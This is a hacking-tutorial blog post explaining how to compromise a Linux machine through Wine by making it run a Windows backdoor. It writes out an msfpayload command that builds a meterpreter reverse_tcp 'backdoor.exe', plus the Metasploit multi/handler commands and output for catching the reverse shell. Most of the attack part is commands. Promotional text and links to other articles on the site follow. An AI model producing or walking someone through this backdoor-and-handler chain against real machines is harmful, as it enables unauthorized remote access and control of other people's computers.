How to Hack Linux -Metasploit Tutorial Backtrack 5 R1

Metasploit is a wonderful tool for penetration testing that contain a database of publicly known exploits for various operating system and software’s, we have discussed how to hack windows via metasploit on backtrack Linux but how to hack Linux (Ubuntu and any other Linux) via metasploit. Metasploit contain several exploits for Linux operating system too but we can windows exploit for Linux. This is the video tutorial in which I will show you how to hack a Linux operating system because in the penetration testing sometimes we need to get the root access on the server or computer.

This video let you know about the weaknesses of wine (an application to run windows executable on Linux), yes an attacker take advantage of wine to execute their windows backdoor on Linux machine to get the full access on the computer.

[email protected]:~# msfpayload windows/meterpreter/reverse_tcp lhost= lport=4444 X > backdoor.exe

Created by msfpayload (
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: {“lhost”=>””, “lport”=>”4444”}

Metasploit commands

msf > use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost
lhost =>
msf  exploit(handler) > set lport 4444
lport => 4444
msf  exploit(handler) > exploit

[*] Started reverse handler on
[*] Starting the payload handler…

Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.
Ehacking Staff
With more than 50 global partners, we are proud to count the world’s leading cybersecurity training provider. EH Academy is the brainchild of Ehacking, which has been involved in the field of training since the past Five years and continues to help in creating professional IT experts.

Most Popular

Improving WordPress Security in 2021

What Is WordPress? WordPress is a PHP-based content management system that may be used in conjunction with MySQL. The best part about WordPress is that...

OSINT Tutorial to Discover Antivirus of the Target

This OSINT tutorial demonstrates the "RECON-NG tool" on Kali Linux. It discovers the type of Anti-Virus software (AV) the victim is running on their...

Cracking Password Protected ZIP, RAR & PDF using Zydra

Having confidential documents on a system, like a pdf of financial data or a zip including personal images and videos, ensure they're password-protected so...

Four Ways SASE is Revolutionizing Network Security 

Are you interested in a network that offers amazing security features without compromising high-speed performance? With SASE, you don't have to settle for less....